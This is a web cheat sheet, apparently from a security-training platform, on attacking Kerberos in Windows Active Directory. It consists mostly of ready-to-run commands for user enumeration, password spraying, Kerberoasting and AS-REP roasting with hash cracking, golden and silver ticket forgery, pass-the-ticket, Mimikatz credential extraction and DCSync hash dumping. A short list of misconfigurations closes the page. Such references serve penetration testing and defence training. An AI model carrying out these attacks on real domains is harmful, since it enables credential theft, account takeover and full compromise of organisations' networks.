Skip to main content

Want to Practice These Techniques?

Try Hackviser's interactive cyber security upskilling platform - Learn by doing!

Start Practicing Now

Kerberos

Default Port: 88

Kerberos is a network authentication protocol designed to provide strong authentication for client/server applications using secret-key cryptography. Developed by MIT, it's the default authentication protocol in Windows Active Directory environments. Kerberos uses tickets to allow nodes to prove their identity over non-secure networks without transmitting passwords. The protocol involves a Key Distribution Center (KDC) that includes an Authentication Server (AS) and a Ticket Granting Server (TGS).

Connect​

Using kinit (Get TGT)​

Use the standard Kerberos client to obtain Ticket Granting Tickets.

# Request Ticket Granting Ticket
kinit username@DOMAIN.COM

# With password
echo 'password' | kinit username@DOMAIN.COM

# Check tickets
klist

# Destroy tickets
kdestroy

Using Impacket Tools​

Use Impacket tools for advanced Kerberos operations and ticket management.

# Get TGT
getTGT.py DOMAIN/username:password

# Use ticket
export KRB5CCNAME=username.ccache

# Request service ticket
getST.py -spn service/hostname DOMAIN/username -k -no-pass

Recon​

Service Detection with Nmap​

Use Nmap to identify Domain Controllers and Kerberos services in Active Directory environments:

nmap -p 88 -sV target.com

Use netcat to identify Kerberos servers and gather realm information:

# Using netcat (limited)
nc -vn target.com 88

Enumeration​

Username Enumeration​

Kerberos provides different error messages for valid and invalid usernames, enabling user enumeration without authentication.

Using kerbrute​

# Using kerbrute
kerbrute userenum --dc target.com -d DOMAIN.COM users.txt

Using Nmap Scripts​

# Using Nmap
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='DOMAIN.COM',userdb=users.txt target.com

Manual Username Enumeration​

# Manual enumeration
for user in $(cat users.txt); do
getTGT.py DOMAIN/$user -dc-ip target.com -no-pass 2>&1 | grep -v "KDC_ERR_PREAUTH_REQUIRED"
done

SPN Enumeration (Service Discovery)​

Service Principal Names (SPNs) identify services running under specific accounts and are prime targets for Kerberoasting attacks.

# Using GetUserSPNs (Impacket)
GetUserSPNs.py DOMAIN/username:password -dc-ip target.com

# Without credentials (requires access to DC)
GetUserSPNs.py -request -dc-ip target.com DOMAIN/username

# From Windows
setspn -T DOMAIN.COM -Q */*

AS-REP Roastable Users​

Users with "Do not require Kerberos preauthentication" enabled can have their password hashes extracted without valid credentials.

# Using GetNPUsers (Impacket)
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip target.com -format hashcat

# Specific user
GetNPUsers.py DOMAIN/username -dc-ip target.com -no-pass

# From Windows with PowerView
Get-DomainUser -PreauthNotRequired

Attack Vectors​

Kerberoasting​

Kerberoasting exploits service accounts with SPNs by requesting tickets that can be cracked offline.

Request Service Tickets​

GetUserSPNs.py DOMAIN/username:password -dc-ip target.com -request -outputfile hashes.txt

Crack Kerberos Tickets​

# Using Hashcat (Kerberos 5 TGS-REP etype 23)
hashcat -m 13100 hashes.txt rockyou.txt

# Using John the Ripper
john --format=krb5tgs hashes.txt --wordlist=rockyou.txt

# From Windows with Rubeus
Rubeus.exe kerberoast /outfile:hashes.txt

AS-REP Roasting​

Exploit accounts that don't require Kerberos pre-authentication.

# Get AS-REP hashes
GetNPUsers.py DOMAIN/ -usersfile users.txt -format hashcat -dc-ip target.com > asrep_hashes.txt

# Crack with hashcat (Kerberos 5 AS-REP etype 23)
hashcat -m 18200 asrep_hashes.txt rockyou.txt

# From Windows with Rubeus
Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt

Password Spraying​

Attempt common passwords across many accounts to avoid account lockouts.

# Using kerbrute
kerbrute passwordspray --dc target.com -d DOMAIN.COM users.txt 'Password123!'

# Using crackmapexec
crackmapexec smb target.com -u users.txt -p 'Password123!' --continue-on-success

# Multiple passwords
for pass in 'Winter2024!' 'Spring2024!' 'Password123!'; do
kerbrute passwordspray --dc target.com -d DOMAIN.COM users.txt "$pass"
done

Golden Ticket Attack​

Create forged TGT with stolen krbtgt hash to gain domain admin access.

Golden Ticket Creation​

# Using Mimikatz (requires krbtgt hash)
kerberos::golden /user:Administrator /domain:DOMAIN.COM /sid:S-1-5-21-XXX-XXX-XXX /krbtgt:KRBTGT_HASH /id:500

# Using Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-XXX-XXX-XXX -domain DOMAIN.COM Administrator

Using Golden Tickets​

# Set ticket
export KRB5CCNAME=Administrator.ccache

# Access any resource
psexec.py DOMAIN/Administrator@target.com -k -no-pass

Silver Ticket Attack​

Create forged service ticket with service account hash for specific service access.

Silver Ticket Creation​

# Using Mimikatz
kerberos::golden /user:Administrator /domain:DOMAIN.COM /sid:S-1-5-21-XXX-XXX-XXX /target:server.domain.com /service:cifs /rc4:SERVICE_HASH /id:500

# Using Impacket
ticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-XXX-XXX-XXX -domain DOMAIN.COM -spn cifs/server.domain.com Administrator

Using Silver Tickets​

# Access the specific service
smbclient.py -k DOMAIN/Administrator@server.domain.com

Pass-the-Ticket​

Use stolen Kerberos tickets to authenticate without knowing passwords.

Ticket Extraction and Conversion​

# Export ticket from Windows
mimikatz "sekurlsa::tickets /export"

# Convert .kirbi to .ccache
ticketConverter.py ticket.kirbi ticket.ccache

Using Stolen Tickets​

# Use ticket
export KRB5CCNAME=ticket.ccache
psexec.py DOMAIN/username@target.com -k -no-pass

Post-Exploitation​

Ticket Extraction​

Extract Kerberos tickets from compromised systems for lateral movement.

Windows Ticket Extraction​

# Using Mimikatz on compromised Windows
sekurlsa::tickets /export

# Using Rubeus
Rubeus.exe dump /service:krbtgt

Linux Ticket Extraction​

# From Linux with tickey
impacket-getTGT DOMAIN/username:password

DCSync Attack​

Extract password hashes from Domain Controller using DCSync technique.

# Using Mimikatz
lsadump::dcsync /user:DOMAIN\krbtgt
lsadump::dcsync /user:DOMAIN\Administrator

# Using Impacket
secretsdump.py DOMAIN/username:password@dc.domain.com

# Just DCSync (no SAM/LSA)
secretsdump.py -just-dc DOMAIN/username:password@dc.domain.com

Delegation Abuse​

Exploit Kerberos delegation configurations for privilege escalation.

Delegation Discovery​

# Find computers with unconstrained delegation
Get-DomainComputer -Unconstrained

# Find users with constrained delegation
Get-DomainUser -TrustedToAuth

Delegation Exploitation​

# Exploit unconstrained delegation
# Compromise server with unconstrained delegation
# Wait for admin to connect
# Extract their TGT from memory

Kerberos Ticket Types​

TicketDescriptionUse Case
TGTTicket Granting TicketInitial authentication
TGSTicket Granting ServiceService access
Golden TicketForged TGTFull domain access
Silver TicketForged TGSSpecific service access

Useful Tools​

ToolDescriptionPrimary Use Case
kerbruteKerberos enumerationUsername/password spraying
RubeusKerberos attack toolWindows-based attacks
MimikatzCredential dumperTicket manipulation
ImpacketPython toolkitVarious Kerberos attacks
hashcatPassword crackerTicket cracking
John the RipperPassword crackerHash cracking
PowerViewAD enumerationDomain reconnaissance

Security Misconfigurations​

  • ❌ Pre-authentication not required
  • ❌ Weak service account passwords
  • ❌ RC4 encryption allowed
  • ❌ Unconstrained delegation
  • ❌ Excessive SPNs on accounts
  • ❌ Long ticket lifetimes
  • ❌ No monitoring of Kerberos events
  • ❌ Weak krbtgt password
  • ❌ Legacy encryption types enabled
  • ❌ No PAC validation